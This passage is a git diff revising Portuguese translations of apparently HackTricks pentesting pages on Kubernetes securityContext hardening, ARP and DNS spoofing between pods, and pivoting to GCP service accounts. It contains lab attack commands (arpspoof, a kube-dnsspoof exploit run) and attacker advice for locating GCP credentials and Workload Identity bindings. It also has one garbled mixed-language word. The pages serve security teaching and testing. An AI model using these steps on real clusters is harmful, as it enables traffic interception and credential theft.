2. O bit setgid é definido (novos arquivos criados no volume serão de propriedade do FSGroup)
3. Os bits de permissão são OR'd com rw-rw---- Se não definido, o Kubelet não modificará a propriedade e permissões de nenhum volume

| +| Parameter | Description | +|

fsGroup
integer

|

Um grupo suplementar especial que se aplica a todos os containers em um pod. Alguns tipos de volume permitem que o Kubelet altere a ownership desse volume para que pertença ao pod:
1. O GID de ownership será o FSGroup
2. O bit setgid é definido (novos arquivos criados no volume pertencerão ao FSGroup)
3. Os bits de permissão são combinados com rw-rw---- Se não estiver definido, o Kubelet não modificará a ownership nem as permissões de nenhum volume

| -|

fsGroupChangePolicy
string

| Isso define o comportamento de **mudança de propriedade e permissão do volume** antes de ser exposto dentro do Pod. | -|

runAsGroup
inteiro

| O **GID para executar o ponto de entrada do processo do contêiner**. Usa o padrão de tempo de execução se não definido. Pode também ser definido em SecurityContext. | -|

runAsNonRoot
booleano

| Indica que o contêiner deve ser executado como um usuário não-root. Se verdadeiro, o Kubelet validará a imagem em tempo de execução para garantir que não seja executada como UID 0 (root) e falhará ao iniciar o contêiner se o for. | -|

runAsUser
inteiro

| O **UID para executar o ponto de entrada do processo do contêiner**. Padrão para o usuário especificado nos metadados da imagem se não especificado. | -|

seLinuxOptions
SELinuxOptions
Mais informações sobre seLinux

| O **contexto SELinux a ser aplicado a todos os contêineres**. Se não especificado, o tempo de execução do contêiner alocará um contexto SELinux aleatório para cada contêiner. | -|

seccompProfile
SeccompProfile
Mais informações sobre Seccomp

| As **opções seccomp a serem usadas pelos contêineres** neste pod. | -|

supplementalGroups
array de inteiros

| Uma lista de **grupos aplicados ao primeiro processo executado em cada contêiner**, além do GID primário do contêiner. | -|

sysctls
Sysctl array
Mais informações sobre sysctls

| Sysctls mantém uma lista de **sysctls namespaced usados para o pod**. Pods com sysctls não suportados (pelo tempo de execução do contêiner) podem falhar ao iniciar. | -|

windowsOptions
WindowsSecurityContextOptions

| As configurações específicas do Windows aplicadas a todos os contêineres. Se não especificado, as opções dentro do SecurityContext de um contêiner serão usadas. | +|

fsGroupChangePolicy
string

| Isso define o comportamento de **alterar a ownership e a permissão do volume** antes de ser exposto dentro do Pod. | +|

runAsGroup
integer

| O **GID para executar o entrypoint do processo do container**. Usa o padrão do runtime se não estiver definido. Também pode ser definido em SecurityContext. | +|

runAsNonRoot
boolean

| Indica que o container deve executar como um usuário não-root. Se true, o Kubelet validará a imagem em runtime para garantir que ela não execute como UID 0 (root) e falhará ao iniciar o container se isso acontecer. | +|

runAsUser
integer

| O **UID para executar o entrypoint do processo do container**. Por padrão, usa o usuário especificado nos metadados da imagem se não for informado. | +|

seLinuxOptions
SELinuxOptions
More info about seLinux

| O **SELinux context a ser aplicado a todos os containers**. Se não for especificado, o runtime do container alocará um SELinux context aleatório para cada container. | +|

seccompProfile
SeccompProfile
More info about Seccomp

| As **opções de seccomp a serem usadas pelos containers** neste pod. | +|

supplementalGroups
integer array

| Uma lista de **grupos aplicados ao primeiro processo executado em cada container**, além do GID primário do container. | +|

sysctls
Sysctl array
More info about sysctls

| Sysctls contêm uma lista de **sysctls namespaced usados para o pod**. Pods com sysctls não suportados (pelo runtime do container) podem falhar ao iniciar. | +|

windowsOptions
WindowsSecurityContextOptions

| As configurações específicas de Windows aplicadas a todos os containers. Se não forem especificadas, serão usadas as opções dentro do SecurityContext de um container. | ## SecurityContext -[**Dos documentos:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core) +[**Da documentação:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core) -Este contexto é definido dentro das **definições de contêineres**. Do ponto de vista da segurança defensiva, você deve considerar: +Este context é definido dentro das **definições dos containers**. Do ponto de vista de segurança defensiva, você deve considerar: - **allowPrivilegeEscalation** como **False** -- Não adicione **capacidades** sensíveis (e remova as que você não precisa) +- Não adicionar **capabilities** sensíveis (e remover as que você não precisa) - **privileged** como **False** -- Se possível, defina **readOnlyFilesystem** como **True** -- Defina **runAsNonRoot** como **True** e defina um **runAsUser** -- Se possível, considere **limitar** **permissões** indicando **seLinuxOptions** e **seccompProfile** -- **NÃO** conceda acesso ao **grupo** de **privilegio** via **runAsGroup.** +- Se possível, definir **readOnlyFilesystem** como **True** +- Definir **runAsNonRoot** como **True** e definir um **runAsUser** +- Se possível, considerar **limitar** **permissões** indicando **seLinuxOptions** e **seccompProfile** +- **NÃO** dar acesso a **privilege** **group** via **runAsGroup.** -Observe que os atributos definidos em **ambos SecurityContext e PodSecurityContext**, o valor especificado em **SecurityContext** tem **precedência**. +Observe que, dos atributos definidos em **SecurityContext e PodSecurityContext**, o valor especificado em **SecurityContext** tem **precedência**. -|

allowPrivilegeEscalation
booleano

| **AllowPrivilegeEscalation** controla se um processo pode **ganhar mais privilégios** do que seu processo pai. Este booleano controla diretamente se a flag no_new_privs será definida no processo do contêiner. AllowPrivilegeEscalation é sempre verdadeiro quando o contêiner é executado como **Privileged** ou tem **CAP_SYS_ADMIN** | +|

allowPrivilegeEscalation
boolean

| **AllowPrivilegeEscalation** controla se um processo pode **obter mais privilégios** do que seu processo pai. Esse bool controla diretamente se a flag no_new_privs será definida no processo do container. AllowPrivilegeEscalation é sempre true quando o container é executado como **Privileged** ou tem **CAP_SYS_ADMIN** | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -|

capabilities
Capabilities
Mais informações sobre Capabilities

| As **capacidades a serem adicionadas/removidas ao executar contêineres**. Padrão para o conjunto padrão de capacidades. | -|

privileged
booleano

| Executar contêiner em modo privilegiado. Processos em contêineres privilegiados são essencialmente **equivalentes ao root no host**. Padrão é falso. | -|

procMount
string

| procMount denota o **tipo de montagem proc a ser usado para os contêineres**. O padrão é DefaultProcMount, que usa os padrões de tempo de execução do contêiner para caminhos somente leitura e caminhos mascarados. | -|

readOnlyRootFilesystem
booleano

| Se este **contêiner tem um sistema de arquivos raiz somente leitura**. O padrão é falso. | -|

runAsGroup
inteiro

| O **GID para executar o ponto de entrada** do processo do contêiner. Usa o padrão de tempo de execução se não definido. | -|

runAsNonRoot
booleano

| Indica que o contêiner deve **executar como um usuário não-root**. Se verdadeiro, o Kubelet validará a imagem em tempo de execução para garantir que não seja executada como UID 0 (root) e falhará ao iniciar o contêiner se o for. | -|

runAsUser
inteiro

| O **UID para executar o ponto de entrada** do processo do contêiner. Padrão para o usuário especificado nos metadados da imagem se não especificado. | -|

seLinuxOptions
SELinuxOptions
Mais informações sobre seLinux

| O **contexto SELinux a ser aplicado ao contêiner**. Se não especificado, o tempo de execução do contêiner alocará um contexto SELinux aleatório para cada contêiner. | -|

seccompProfile
SeccompProfile

| As **opções seccomp** a serem usadas por este contêiner. | -|

windowsOptions
WindowsSecurityContextOptions

| As **configurações específicas do Windows** aplicadas a todos os contêineres. | +|

capabilities
Capabilities
More info about Capabilities

| As **capabilities para adicionar/remover ao executar containers**. O padrão é o conjunto default de capabilities. | +|

privileged
boolean

| Executa o container em modo privilegiado. Processos em containers privilegiados são essencialmente **equivalentes a root no host**. O padrão é false. | +|

procMount
string

| procMount indica o **tipo de proc mount a ser usado para os containers**. O padrão é DefaultProcMount, que usa os defaults do runtime do container para caminhos readonly e caminhos mascarados. | +|

readOnlyRootFilesystem
boolean

| Se este **container tem um root filesystem somente leitura**. O padrão é false. | +|

runAsGroup
integer

| O **GID para executar o entrypoint** do processo do container. Usa o padrão do runtime se não estiver definido. | +|

runAsNonRoot
boolean

| Indica que o container deve **executar como um usuário não-root**. Se true, o Kubelet validará a imagem em runtime para garantir que ela não execute como UID 0 (root) e falhará ao iniciar o container se isso acontecer. | +|

runAsUser
integer

| O **UID para executar o entrypoint** do processo do container. Por padrão, usa o usuário especificado nos metadados da imagem se não for informado. | +|

seLinuxOptions
SELinuxOptions
More info about seLinux

| O **SELinux context a ser aplicado ao container**. Se não for especificado, o runtime do container alocará um SELinux context aleatório para cada container. | +|

seccompProfile
SeccompProfile

| As **opções de seccomp** a serem usadas por este container. | +|

windowsOptions
WindowsSecurityContextOptions

| As **configurações específicas de Windows** aplicadas a todos os containers. | -## Referências +## Practical workload review checklist + +Ao revisar um Pod ou template de workload, inspecione tanto `spec.securityContext` quanto cada `securityContext` em nível de container dentro de `containers`, `initContainers` e `ephemeralContainers`. Campos em nível de container podem sobrescrever os defaults do pod, então um default do pod que parece seguro não garante que todo container seja seguro. + +Combinações de alto risco para priorizar: + +- `privileged: true`, especialmente com `hostPID`, `hostIPC`, `hostNetwork`, `hostPath`, host ports ou mounts de socket do runtime. +- Capabilities adicionadas como `SYS_ADMIN`, `NET_ADMIN`, `SYS_PTRACE`, `SYS_MODULE`, `DAC_READ_SEARCH` ou `DAC_OVERRIDE`. +- `allowPrivilegeEscalation: true` ou não definido em containers que podem executar código controlado por atacante. +- `seccompProfile: Unconfined`, `procMount: Unmasked` ou perfis de runtime ausentes em workloads sensíveis. +- root filesystems graváveis ou mounts de volume graváveis amplos em workloads que processam entrada não confiável. +- Falta de requests e limits de CPU, memória ou ephemeral-storage em namespaces multi-tenant. + +Para a maioria dos application workloads, uma boa baseline é executar com um UID não-root, definir `runAsNonRoot: true`, definir `allowPrivilegeEscalation: false`, remover todas as capabilities e adicionar de volta apenas as mínimas necessárias, usar `seccompProfile: RuntimeDefault`, preferir um root filesystem somente leitura e evitar host namespaces, mounts de hostPath e modo privilegiado. + +Em nível de cluster, use labels de namespace do [Pod Security Admission](https://kubernetes.io/docs/concepts/security/pod-security-admission/) para लागूer os Kubernetes [Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) quando possível. Use `restricted` para namespaces que suportem isso, pelo menos `baseline` para namespaces comuns de aplicação e mantenha exceções privileged estreitas, documentadas e isoladas em namespaces de plataforma ou node pools confiáveis. + +## References - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core) +- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +- [https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/](https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/) +- [https://kubernetes.io/docs/concepts/security/pod-security-standards/](https://kubernetes.io/docs/concepts/security/pod-security-standards/) +- [https://kubernetes.io/docs/concepts/security/pod-security-admission/](https://kubernetes.io/docs/concepts/security/pod-security-admission/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md index 0c4682c9a..9a8ad7cf7 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md @@ -4,16 +4,16 @@ ## Introdução -No Kubernetes, observa-se que um comportamento padrão permite o estabelecimento de conexões entre **todos os contêineres residindo no mesmo nó**. Isso se aplica independentemente das distinções de namespace. Tal conectividade se estende até **Camada 2** (Ethernet). Consequentemente, essa configuração potencialmente expõe o sistema a vulnerabilidades. Especificamente, abre a possibilidade para um **contêiner malicioso** executar um **ataque de spoofing ARP** contra outros contêineres situados no mesmo nó. Durante tal ataque, o contêiner malicioso pode enganosamente interceptar ou modificar o tráfego de rede destinado a outros contêineres. +No Kubernetes, observa-se que um comportamento padrão permite o estabelecimento de conexões entre **todos os containers que residem no mesmo node**. Isso se aplica independentemente das distinções de namespace. Essa conectividade se estende até a **Layer 2** (Ethernet). Consequentemente, essa configuração potencialmente expõe o sistema a vulnerabilities. Especificamente, ela abre a possibilidade para um **malicious container** executar um **ARP spoofing attack** contra outros containers situados no mesmo node. Durante esse attack, o malicious container pode interceptar de forma enganosa ou modificar o tráfego de rede destinado a outros containers. -Os ataques de spoofing ARP envolvem o **atacante enviando mensagens ARP falsificadas** (Protocolo de Resolução de Endereços) por uma rede local. Isso resulta na vinculação do **endereço MAC do atacante com o endereço IP de um computador ou servidor legítimo na rede**. Após a execução bem-sucedida de tal ataque, o atacante pode interceptar, modificar ou até mesmo interromper dados em trânsito. O ataque é executado na Camada 2 do modelo OSI, razão pela qual a conectividade padrão no Kubernetes nessa camada levanta preocupações de segurança. +ARP spoofing attacks envolvem o **attacker enviando falsified ARP** (Address Resolution Protocol) messages pela rede local. Isso resulta na vinculação do **endereço MAC do attacker com o endereço IP de um computador ou server legítimo na rede**. Após a execução bem-sucedida de tal attack, o attacker pode interceptar, modificar ou até mesmo interromper dados em trânsito. O attack é executado na Layer 2 do modelo OSI, motivo pelo qual a conectividade padrão no Kubernetes nessa layer levanta preocupações de segurança. -No cenário, 4 máquinas serão criadas: +No scenario 4 machines serão criadas: -- ubuntu-pe: Máquina privilegiada para escapar para o nó e verificar métricas (não necessária para o ataque) -- **ubuntu-attack**: Contêiner **malicioso** no namespace padrão -- **ubuntu-victim**: Máquina **vítima** no namespace kube-system -- **mysql**: Máquina **vítima** no namespace padrão +- ubuntu-pe: Privileged machine para escapar para o node e verificar metrics (não necessário para o attack) +- **ubuntu-attack**: **Malicious** container no default namespace +- **ubuntu-victim**: máquina **Victim** no namespace kube-system +- **mysql**: máquina **Victim** no default namespace ```yaml echo 'apiVersion: v1 kind: Pod @@ -96,18 +96,18 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash" kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash" ``` -## Redes Básicas do Kubernetes +## Rede Básica de Kubernetes -Se você quiser mais detalhes sobre os tópicos de rede introduzidos aqui, consulte as referências. +Se você quiser mais detalhes sobre os tópicos de rede introduzidos aqui, vá para as referências. ### ARP -De maneira geral, **a rede pod-a-pod dentro do nó** está disponível através de uma **ponte** que conecta todos os pods. Essa ponte é chamada de “**cbr0**”. (Alguns plugins de rede instalarão sua própria ponte.) O **cbr0 também pode lidar com ARP** (Protocolo de Resolução de Endereços). Quando um pacote de entrada chega ao cbr0, ele pode resolver o endereço MAC de destino usando ARP. +De forma geral, **a rede pod-to-pod dentro do node** está disponível por meio de uma **bridge** que conecta todos os pods. Essa bridge é chamada de “**cbr0**”. (Alguns network plugins vão instalar sua própria bridge.) A **cbr0 também pode lidar com ARP** (Address Resolution Protocol) resolution. Quando um pacote de entrada chega à cbr0, ela pode resolver o endereço MAC de destino usando ARP. -Esse fato implica que, por padrão, **cada pod em execução no mesmo nó** poderá **comunicar-se** com qualquer outro pod no mesmo nó (independentemente do namespace) em nível de ethernet (camada 2). +Esse fato implica que, por padrão, **todo pod executando no mesmo node** vai ser capaz de **comunicar** com qualquer outro pod no mesmo node (independentemente do namespace) no nível ethernet (layer 2). > [!WARNING] -> Portanto, é possível realizar ataques de **ARP Spoofing entre pods no mesmo nó.** +> Portanto, é possível realizar ataques de A**RP Spoofing entre pods no mesmo node.** ### DNS @@ -136,27 +136,30 @@ Port: metrics 9153/TCP TargetPort: 9153/TCP Endpoints: 172.17.0.2:9153 ``` -Na informação anterior, você pode ver algo interessante, o **IP do serviço** é **10.96.0.10**, mas o **IP do pod** que está executando o serviço é **172.17.0.2**. +Nas informações anteriores você pode ver algo interessante, o **IP do serviço** é **10.96.0.10** mas o **IP do pod** que está executando o serviço é **172.17.0.2.** -Se você verificar o endereço DNS dentro de qualquer pod, encontrará algo assim: +Se você verificar o endereço DNS dentro de qualquer pod você vai encontrar algo assim: ``` cat /etc/resolv.conf nameserver 10.96.0.10 ``` -No entanto, o pod **não sabe** como chegar a esse **endereço** porque o **intervalo de pods** neste caso é 172.17.0.10/26. +No entanto, o pod **não sabe** como chegar a esse **endereço** porque a **faixa do pod** neste caso é 172.17.0.10/26. -Portanto, o pod enviará as **requisições DNS para o endereço 10.96.0.10**, que será **traduzido** pelo cbr0 **para** **172.17.0.2**. +Portanto, o pod enviará as **DNS requests para o endereço 10.96.0.10**, que será **traduzido** pelo cbr0 **para** **172.17.0.2**. > [!WARNING] -> Isso significa que uma **requisição DNS** de um pod **sempre** irá para a **ponte** para **traduzir** o **IP do serviço para o IP do endpoint**, mesmo que o servidor DNS esteja na mesma sub-rede que o pod. +> Isso significa que uma **DNS request** de um pod **sempre** vai passar pela **bridge** para **traduzir** o **service IP para o endpoint IP**, mesmo que o DNS server esteja na mesma subnetwork que o pod. > -> Sabendo disso, e sabendo que **ataques ARP são possíveis**, um **pod** em um nó será capaz de **interceptar o tráfego** entre **cada pod** na **sub-rede** e a **ponte** e **modificar** as **respostas DNS** do servidor DNS (**DNS Spoofing**). +> Sabendo disso, e sabendo que **ARP attacks are possible**, um **pod** em um node vai conseguir **interceptar o traffic** entre **cada pod** na **subnetwork** e a **bridge** e **modificar** as **DNS responses** do DNS server (**DNS Spoofing**). > -> Além disso, se o **servidor DNS** estiver no **mesmo nó que o atacante**, o atacante pode **interceptar todas as requisições DNS** de qualquer pod no cluster (entre o servidor DNS e a ponte) e modificar as respostas. +> Além disso, se o **DNS server** estiver no **mesmo node que o attacker**, o attacker pode **interceptar todas as DNS request** de qualquer pod no cluster (entre o DNS server e a bridge) e modificar as responses. -## ARP Spoofing em pods no mesmo Nó +> [!NOTE] +> Valide o CNI ativo e o caminho do DNS antes de assumir que isso funciona em um cluster real. Alguns CNIs roteiam ou isolam o traffic do mesmo node de forma diferente, e clusters usando NodeLocal DNSCache podem enviar consultas DNS do pod para um endereço local do node antes de encaminhar para o CoreDNS. Nesses ambientes, DNS spoofing depende do posicionamento do pod, das capacidades do packet, da configuração do resolver, do comportamento do cache local do node e de se as aplicações verificam peers com TLS ou outro mecanismo de identidade. -Nosso objetivo é **roubar pelo menos a comunicação do ubuntu-victim para o mysql**. +## ARP Spoofing em pods no mesmo Node + +Nosso objetivo é **roubar ao menos a communication do ubuntu-victim para o mysql**. ### Scapy ```bash @@ -233,16 +236,16 @@ arpspoof -t 172.17.0.9 172.17.0.10 ``` ## DNS Spoofing -Como já mencionado, se você **comprometer um pod no mesmo nó do pod do servidor DNS**, você pode **MitM** com **ARPSpoofing** o **bridge e o pod DNS** e **modificar todas as respostas DNS**. +Como já foi mencionado, se você **comprometer um pod no mesmo node do pod do DNS server**, você pode fazer **MitM** com **ARPSpoofing** da **bridge** e do pod **DNS** e **modificar todas as respostas DNS**. -Você tem uma **ferramenta** e um **tutorial** muito bons para testar isso em [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) +Você tem uma **tool** e um **tutorial** muito bons para testar isso em [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) -No nosso cenário, **baixe** a **ferramenta** no pod atacante e crie um **arquivo chamado `hosts`** com os **domínios** que você deseja **spoof** como: +No nosso cenário, **baixe** a **tool** no pod do attacker e crie um **arquivo chamado `hosts`** com os **domains** que você quer **spoof** como: ``` cat hosts google.com. 1.1.1.1 ``` -Realize o ataque à máquina ubuntu-victim: +Execute o attack na máquina ubuntu-victim: ``` python3 exploit.py --direct 172.17.0.10 [*] starting attack on direct mode to pod 172.17.0.10 @@ -260,47 +263,49 @@ dig google.com google.com. 1 IN A 1.1.1.1 ``` > [!NOTE] -> Se você tentar criar seu próprio script de spoofing de DNS, se você **apenas modificar a resposta DNS** isso **não** vai **funcionar**, porque a **resposta** vai ter um **src IP** o endereço IP do **pod** **malicioso** e **não será** **aceita**.\ -> Você precisa gerar um **novo pacote DNS** com o **src IP** do **DNS** onde a vítima envia a solicitação DNS (que é algo como 172.16.0.2, não 10.96.0.10, esse é o IP do serviço DNS do K8s e não o IP do servidor DNS, mais sobre isso na introdução). +> Se você tentar criar seu próprio script de DNS spoofing, se você **apenas modificar a resposta DNS** isso **não** vai **funcionar**, porque a **response** vai ter um **src IP** do endereço IP do **pod** **malicious** e **não** vai ser **accepted**.\ +> Você precisa gerar um **novo DNS packet** com o **src IP** do **DNS** para onde a vítima enviou a requisição DNS (que é algo como 172.16.0.2, não 10.96.0.10, esse é o IP do serviço DNS do K8s e não o IP do DNS server, mais sobre isso na introdução). ## DNS Spoofing via coreDNS configmap -Um usuário com permissões de escrita sobre o configmap `coredns` no namespace kube-system pode modificar as respostas DNS do cluster. +Um usuário com permissões de escrita sobre o configmap `coredns` no namespace kube-system pode modificar as DNS responses do cluster. -Confira mais informações sobre este ataque em: +Também revise o NodeLocal DNSCache se ele estiver implantado. Ele normalmente roda como um hostNetwork DaemonSet e tem seu próprio ConfigMap, logs, cache e path de forwarding. Uma mudança no CoreDNS pode não ser o único lugar onde o comportamento do DNS pode ser afetado ou observado. + +Confira mais informações sobre este attack em: {{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}} -## Abusando serviços de gerenciamento de kubernetes expostos +## Abusing exposed kubernetes management services -Serviços como Apache NiFi, Kubeflow, Argo Workflows, Weave Scope e o painel do Kubernetes são frequentemente expostos tanto à internet quanto dentro da rede do kubernetes. Um atacante que conseguir **encontrar qualquer plataforma usada para gerenciar kubernetes e acessá-la** pode abusar dela para obter acesso à API do kubernetes e realizar ações como criar novos pods, modificar os existentes ou até mesmo excluí-los. +Serviços como Apache NiFi, Kubeflow, Argo Workflows, Weave Scope e o Kubernetes dashboard frequentemente ficam expostos para a internet ou dentro da rede kubernetes. Um attacker que consiga **encontrar qualquer platform usada para gerenciar kubernetes e acessá-la** pode abusar dela para obter access à API do kubernetes e executar ações como criar novos pods, modificar os existentes ou até mesmo deletá-los. -## Enumerando políticas de rede do kubernetes +## Enumerating kubernetes network policies -Obtenha **networkpolicies** configuradas: +Obtenha as **networkpolicies** configuradas: ```bash kubectl get networkpolicies --all-namespaces ``` -Obtenha as políticas de rede **Callico**: +Obtenha as network policies do **Callico**: ```bash kubectl get globalnetworkpolicy --all-namespaces ``` -Obter políticas de rede **Cillium**: +Obtenha network policies do **Cillium**: ```bash kubectl get ciliumnetworkpolicy --all-namespaces ``` -Obtenha outros CRDs relacionados a políticas instalados pelo seu plugin de rede ou solução de segurança: +Obtenha outros CRDs relacionados a policy instalados pelo seu network plugin ou solução de security: ```bash kubectl get crd | grep -i policy ``` ## Capturando Tráfego -A ferramenta [**Mizu**](https://github.com/up9inc/mizu) é um visualizador de tráfego de API **simples, mas poderoso para Kubernetes**, permitindo que você **veja toda a comunicação de API** entre microsserviços para ajudar a depurar e solucionar regressões.\ -Ela instalará agentes nos pods selecionados e coletará suas informações de tráfego, mostrando-as em um servidor web. No entanto, você precisará de altas permissões K8s para isso (e não é muito discreto). +A ferramenta [**Mizu**](https://github.com/up9inc/mizu) é um simples, porém poderoso, visualizador de **traffic de API para Kubernetes** que permite **ver toda a comunicação de API** entre microservices para ajudar você a depurar e solucionar regressions.\ +Ela instalará agents nos pods selecionados e coletará suas informações de traffic e as mostrará em um web server. No entanto, você precisará de permissões altas de K8s para isso (e não é muito stealthy). -## Referências +## References - [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1) - [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md index c8cf86568..09be8fc9a 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md @@ -4,49 +4,49 @@ ## GCP -Se você está executando um cluster k8s dentro do GCP, provavelmente vai querer que alguma aplicação rodando no cluster tenha acesso ao GCP. Há 2 maneiras comuns de fazer isso: +Se você estiver executando um cluster k8s dentro do GCP, provavelmente vai querer que alguma application em execução dentro do cluster tenha algum access ao GCP. Há 2 formas comuns de fazer isso: ### Mounting GCP-SA keys as secret -Uma forma comum de dar acesso a uma aplicação kubernetes ao GCP é: +Uma forma comum de dar **access a uma kubernetes application to GCP** é: -- Crie um GCP Service Account -- Atribua a ele as permissões desejadas -- Faça o download de uma chave json do SA criado -- Monte-a como um secret dentro do pod -- Defina a variável de ambiente GOOGLE_APPLICATION_CREDENTIALS apontando para o caminho onde o json está. +- Create um GCP Service Account +- Bind nele as permissões desejadas +- Download de uma json key da SA criada +- Mount como um secret dentro do pod +- Defina a variável de ambiente GOOGLE_APPLICATION_CREDENTIALS apontando para o caminho onde a json está. > [!WARNING] -> Portanto, como um **attacker**, se você comprometer um container dentro de um pod, você deve checar por essa **env** **variable** e **json** **files** com credenciais do GCP. +> Portanto, como **attacker**, se você comprometer um container dentro de um pod, deve verificar essa **env** **variable** e **json** **files** com credenciais do GCP. ### Relating GSA json to KSA secret -Uma forma de dar acesso de um GSA a um GKE cluster é vinculando-os desta forma: +Uma forma de dar access a uma GSA a um GKE cluser é fazendo bind entre eles desta forma: -- Crie um Kubernetes service account no mesmo namespace que seu GKE cluster usando o comando a seguir: +- Create uma Kubernetes service account no mesmo namespace do seu GKE cluster usando o seguinte command: ```bash kubectl create serviceaccount ``` -- Crie um Kubernetes Secret que contenha as credenciais da GCP service account à qual você deseja conceder acesso ao GKE cluster. Você pode fazer isso usando a ferramenta de linha de comando `gcloud`, como mostrado no exemplo a seguir: +- Crie um Kubernetes Secret que contenha as credenciais da conta de serviço do GCP à qual você quer conceder acesso ao cluster GKE. Você pode fazer isso usando a ferramenta de linha de comando `gcloud`, como mostrado no seguinte exemplo: ```bash gcloud iam service-accounts keys create .json \ --iam-account kubectl create secret generic \ --from-file=key.json=.json ``` -- Vincule o Kubernetes Secret à Kubernetes service account usando o comando a seguir: +- Vincule o Kubernetes Secret à conta de serviço do Kubernetes usando o seguinte comando: ```bash kubectl annotate serviceaccount \ iam.gke.io/gcp-service-account= ``` > [!WARNING] -> No **segundo passo** foram definidas as **credenciais do GSA como secret do KSA**. Então, se você conseguir **ler esse secret** de **dentro** do **GKE** cluster, você pode **escalar para essa GCP service account**. +> Na **second step** foram definidas as **credentials da GSA como secret da KSA**. Então, se você puder **read that secret** de **dentro** do cluster **GKE**, você pode **escalate to that GCP service account**. ### GKE Workload Identity -Com o Workload Identity, podemos configurar a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) para atuar como a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods executando com a Kubernetes service account autenticarão automaticamente como a Google service account ao acessar as Google Cloud APIs. +Com Workload Identity, podemos configurar uma[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) para agir como uma[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods executando com a Kubernetes service account irão autenticar automaticamente como a Google service account ao acessar Google Cloud APIs. -A **primeira série de passos** para habilitar esse comportamento é **habilitar o Workload Identity no GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) e criar a GCP SA que você quer que o k8s assuma. +A **first series of steps** para habilitar esse comportamento é **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) e criar a GCP SA que você quer que o k8s personifique. - **Enable Workload Identity** on a new cluster ```bash @@ -54,12 +54,12 @@ gcloud container clusters update \ --region=us-central1 \ --workload-pool=.svc.id.goog ``` -- **Criar/Atualizar um novo nodepool** (Clusters Autopilot não precisam disso) +- **Criar/Atualizar um novo nodepool** (clusters Autopilot não precisam disso) ```bash # You could update instead of create gcloud container node-pools create --cluster= --workload-metadata=GKE_METADATA --region=us-central1 ``` -- Crie a **GCP Service Account to impersonate** a partir do K8s com permissões GCP: +- Crie a **GCP Service Account to impersonate** a partir do K8s com permissões do GCP: ```bash # Create SA called "gsa2ksa" gcloud iam service-accounts create gsa2ksa --project= @@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding \ --member "serviceAccount:gsa2ksa@.iam.gserviceaccount.com" \ --role "roles/iam.securityReviewer" ``` -- **Conecte-se** ao **cluster** e **crie** a **conta de serviço** a ser usada +- **Conecte-se** ao **cluster** e **crie** a **service account** para usar ```bash # Get k8s creds gcloud container clusters get-credentials --region=us-central1 @@ -80,7 +80,7 @@ kubectl create namespace testing # Create the KSA kubectl create serviceaccount ksa2gcp -n testing ``` -- **Vincular o GSA ao KSA** +- **Bind the GSA com o KSA** ```bash # Allow the KSA to access the GSA in GCP IAM gcloud iam service-accounts add-iam-policy-binding gsa2ksa@ [!WARNING] -> Como um atacante dentro do K8s você deve **procurar por SAs** com a **`iam.gke.io/gcp-service-account` annotation** pois isso indica que o SA pode acessar algo no GCP. Outra opção é tentar abusar de cada KSA no cluster e verificar se ele tem acesso.\ -> No GCP é sempre interessante enumerar os bindings e saber **quais acessos você está concedendo às SAs dentro do Kubernetes**. +> Como atacante dentro de K8s, você deve **procurar SAs** com a anotação **`iam.gke.io/gcp-service-account`**, pois isso indica que a SA pode acessar algo no GCP. Outra opção seria tentar abusar de cada KSA no cluster e verificar se ela tem acesso.\ +> A partir do GCP, sempre é interessante enumerar os bindings e saber **quais acessos você está dando para SAs dentro do Kubernetes**. -Este é um script para **iterar facilmente por todas as definições de pods** **procurando** por 